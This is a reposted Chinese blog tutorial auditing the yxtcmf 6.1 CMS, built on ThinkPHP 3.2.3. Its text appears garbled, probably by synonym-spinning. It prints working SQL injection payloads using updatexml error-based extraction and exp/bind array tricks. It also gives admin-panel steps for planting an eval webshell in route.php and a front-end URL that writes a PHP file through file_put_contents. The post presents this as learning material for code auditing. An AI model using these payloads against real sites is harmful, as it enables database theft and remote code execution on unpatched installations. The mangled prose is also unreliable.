phpstudy,AWVS0x00掌握文档构造和路由方法

phpstudy,AWVS0x00掌握文档构造和路由方法

黑客资讯hacker2020-08-28 8:08:006930A+A-

序言

yxtcmf6.1是一个根据thinkphp3.2.3的cms,19年3月份公布,用于训练代码审计是个非常好的挑选。

财务审计构思

因为这一cms选用MVC构架而且是根据thinkphp3.2.3的,因此 先掌握文档构造,了解不一样的网页页面相匹配的文档部位在哪儿。随后构建一个tp3.2.3了解一下这一架构,百度搜索找找这一架构的系统漏洞,再根据Seay全局搜索很有可能由于这一架构存有系统漏洞的关键字。接下去上全自动财务审计(全自动财务审计的标准并并不是很彻底,因此 能够根据自身财务审计的工作经验加上标准或是上百度搜索找一些标准),对全自动财务审计的結果开展认证,結果很有可能会出现好几百上万条,尽管无需每一条都去看看,可是也是较为必须细心的。最终能够拿AWVS这类的扫描枪扫一扫,看一下能否扫到意外惊喜。

提前准备专用工具

phpstorm,Seay源代码审计系统,phpstudy,AWVS

0x00 掌握文档构造和路由方法

1589094967_5eb7aa37efdff.png!small

路由器方法

1589094465_5eb7a84163d32.png!small

比如前台接待登陆界面的url为http://127.0.0.1:8014/index.php/User/Login/index

1589094623_5eb7a8df3e000.png!small

则相匹配的文件名称为/application/User/LoginController.class.php,涵数为index()

1589094654_5eb7a8feedaed.png!small

0x01 掌握thinkphp3.2.3的系统漏洞

自身先构建一个tp3.2.3,根据百度搜索找到一些thinkphp3.2.3存有的sql注入,随后记下来简易表明一下

1589092464_5eb7a070f1959.png!small

tp3.2.3结构sql语句的涵数如上,假如$option的值是能够随意传到的,那麼就会有很有可能做到sql注入的目地

1.->where("可控性主要参数")->find()

$username = $_GET['username'];$data= M('users')->where(array("username"=>$username))->find();

测试程序如上,传到主要参数username[0]=exp&username[1]=='admin' and updatexml(1,concat(0x3a,(user())),1)#,随后调节跟踪,关键代码段以下,$whereStr为结构sql语句的一部分

1589088511_5eb790ff62a7c.png!small

1589088602_5eb7915a97fee.png!small

結果组成以下sql语句

1589088639_5eb7917f39e2a.png!small

这儿接受传参的方式 务必不以I($_GET['username']),不然会参考值内是不是带有'exp',如果有,便会再加空格符变成'exp '

2.->find/select/delete("可控性主要参数")

$id=I("id");$data=M("users")->find($id);

测试程序如上,传到id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) # ,随后调节追踪

1589089487_5eb794cf1586c.png!small

最终获得sql语句以下,不用单引号合闭也可进行引入

1589089528_5eb794f85c6e6.png!small

find()换为select()或是delete()也是一样的实际效果

3.->where("可控性主要参数")->save("可控性主要参数")

$condition["username"]=I("username");$data["password"]=I("password");$res=M("users")->where($condition)->save($data);

测试程序如上,传到username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))#&password=123456,调节追踪

1589090385_5eb798510a726.png!small

1589090657_5eb79961b23eb.png!small

1589090914_5eb79a6289cb7.png!small

4.->order("可控性主要参数")->find()

$username=I("username");$order=I("order");$data=M("users")->where(array("username"=>$username))->order($order)->find();

测试程序如上,传到username=admin&order[updatexml(1,concat(0x3a,user()),1)]

1589092405_5eb7a03580fe2.png!small 最终的sql语句以下

1589092422_5eb7a0468793f.png!small

了解了好多个tp3.2.3的sql注入后,就可以检索这种关键字来找寻sql注入

0x02 全局搜索sql注入

正则表达式学的并不是非常好,因此 这儿全局搜索尽管适用正则表达式,可是不去用,只有写点简易的关键字来检索,敬请老师傅们指导指导

全局搜索->find(

1589096722_5eb7b11252939.png!small

1.后台管理Ad控制板sql注入

1589096863_5eb7b19fa940c.png!small

点进来第一条发觉where()内的$id可控性,“ad_id=$id”,很有可能不用单引号合闭就可以sql注入

1589096917_5eb7b1d541ae8.png!small

先随意传个主要参数看一下sql语句是如何的

1589097580_5eb7b46c4ee54.png!small

居然那样,就可以用括弧合闭来引入了

1589097745_5eb7b51138b36.png!small

2.前台接待register控制板sql注入

1589098283_5eb7b72b6c2b5.png!small

看一下$where是不是可控性

1589099928_5eb7bd987ecc6.png!small

因此结构payload以下

1589100057_5eb7be1971ba5.png!small

3.前台接待login控制板sql注入

1589175286_5eb8e3f6beb52.png!small

这儿一共有三处一样的关键字,必须留意的一点是,这三条无论双击鼠标进来哪一条后都总是高亮显示第一处关键字的部位。

第一处

1589176131_5eb8e743d2e5e.png!small 第二处

1589176196_5eb8e784f2c45.png!small

第三处1589176267_5eb8e7cb660a1.png!small

第一处和第二处所属的涵数全是在dologin()涵数内启用的

1589175884_5eb8e64cecad1.png!small

接下去在第二处所属网页页面传参payload看一下

1589177197_5eb8eb6de0788.png!small

結果出現报错,那麼就调节追踪看一下是哪里的难题

1589177355_5eb8ec0ba7066.png!small

随后再次跟踪这行编码,

1589177595_5eb8ecfba0333.png!small 1589177746_5eb8ed92ddac9.png!small

1589178066_5eb8eed26d824.png!small

1589178161_5eb8ef31115d3.png!small

1589178284_5eb8efac34294.png!small

1589178519_5eb8f09796969.png!small

最终看一下第三处

1589179234_5eb8f3623d4ff.png!small

1589179349_5eb8f3d55ceb0.png!small

后边的結果大概看过一下基础全是where()内的主要参数都干了强制性类型转换成int型,或是不可控性,而且都没有见到fin()内有可控性主要参数的。

全局搜索->select/delete(

1589179742_5e b8f55edf635.png!small

1589179752_5eb8f56854362.png!small

这两都没找到select/delete()里边有可控性主要参数的

全局搜索->save(

1589179943_5eb8f6271a959.png!small

这儿找的也是不符很有可能存有系统漏洞的标准

全局性搜索->order(

1589180090_5eb8f6ba0bbf0.png!small

跟上面一样,没见到order()内有可控性主要参数的

0x03 全自动财务审计

1589096030_5eb7ae5ee846b.png!small

根据全自动财务审计扫到了800好几条結果,可是并不一定统统看,例如了解了tp3.2.3后,它的关键文档的就不用看过,也有不久剖析过去了sql注入,那麼这里边的sql注入也不用看过。像fread(),fgets()这类必须輸出才可以见到文档內容的,要是没有见到輸出的句子还可以放弃了,而像readfile(),unlink()这类能够立即获得实行結果的,就需要重点关注一下。

0x04 后台管理随意文档载入

翻着翻着找到这儿,进来看一下自变量是不是可控性

1589181814_5eb8fd7603330.png!small

1589182067_5eb8fe730e250.png!small

1589182080_5eb8fe80b2fa2.png!small 1589182132_5eb8feb4c1619.png!small

0x05 后台管理文档载入getshell

翻到这儿,点进来看一下

1589182738_5eb90112a7f9f.png!small 1589183792_5eb9053064a83.png!small

1589183122_5eb902922977b.png!small

那麼假如能在route表格中的full_url字段名中插进一句话木马,就可以将其载入到route.php里边了

上边的1212-1217行必须留意一下

1589186601_5eb910292c8e6.png!small parse_url($full_url)将里边的值分析,并将相对的值组成数字能量数组,事例以下

1589186813_5eb910fd7aefd.png!small

1589186874_5eb9113aa1e21.png!small

假如$a立即填a/b/c/d,那麼array[path]=a/b/c/d

1589186972_5eb9119c93a21.png!small

1589186964_5eb911945760e.png!small

再次见到1215-1217行 1589187678_5eb9145e529bb.png!small

因此 full_url的字段名务必带有 a/b/c 那样的方式

全局搜索sp_get_routes后发觉admin文件目录下的Route控制板启用了它 1589184168_5eb906a8e9351.png!small

尽管index()涵数下沒有插进表的句子,可是下边也有add()涵数开展数据库查询插进,先开启这一index网页页面看一下

1589184280_5eb90718e8929.png!small

发觉有加上url标准 1589184335_5eb9074fbc6da.png!small

的确是在add()下,而且初始网站地址的自变量名叫full_url,加出来都键入111认证下是不是插进route表

1589184458_5eb907ca60713.png!small

接下去看一下route.php的款式和插进数据信息是不是有过虑来明确payload该怎么写

1589184731_5eb908dbaa3d2.png!small

由于它是个php文件,因此 不用插进<>了,要是能插进单引号合闭,那麼就可以将一句话木马插进

先插进带单引号的数据处理一下

1589188366_5eb9170e7e476.png!small

随后再融合上边说的 full_url的字段名务必带有 a/b/c 那样的方式 那麼就可以结构下列二种payload

url=aaa',@eval($_REQUEST['a']),'

full_url=a/b/c

url=aaa

full_url=a/b/c',@eval($_REQUEST['a']),'

1589189228_5eb91a7c00088.png!small

1589189261_5eb91a8dc42d8.png!small

加上完后会跳转到url清理页面,也就是启用route控制板的index()涵数,进行载入route.php的实际操作

1589189446_5eb91b46acb67.png!small 1589189464_5eb91b58e1c66.png!small

随后取得成功实行phpinfo()

0x06 前台接待文档载入getshell

这个是在百度上寻找的,并且非常复杂,小兄弟水准比较有限,调节了好多遍才知道在哪儿实行的 载入。

http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

1589252645_5eba122578412.png!small

因为前边跟踪了许多 文档和函数,跟踪流程较为繁杂,我在这里就立即贴出最终重要的地区

1589253666_5eba162212fe3.png!small

1589253686_5eba1636e15d1.png!small先回调函数has方式 查验有木有''5f068... 这一php文件,要是没有,则回调函数put载入这一文档

1589253456_5eba155005144.png!small 1589253460_5eba1554cd577.png!small

1589253535_5eba159fc88ca.png!small

这儿的$content就包括了payload里载入的值

1589254057_5eba17a9ad7d3.png!small

如果有''5f068... 这一文档,那麼就回调函数load涵数,随后文件包含''5f068... ,里边的编码强制执行,那麼test.php文件就被载入了

1589253738_5eba166a98c0e.png!small 1589253772_5eba168cab9cd.png!small 1589254090_5eba17ca2552a.png!small

0x07 AWVS扫描仪

1589254175_5eba181fc3415.png!small

AWVS并沒有扫出哪些...

小结

全自动财务审计除开这种认证出系统漏洞的地区,也有许多 不会有系统漏洞的地区因为我看过,要不便是主要参数不可控性,要不便是干了安全防护。尽管无需每一条結果都去看看,但還是必须有点儿细心。期待本文能对刚新手入门财务审计的弟兄有一定的协助,不太好的地区也敬请老师傅们强调。

文中创作者:阔诺dio哒

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理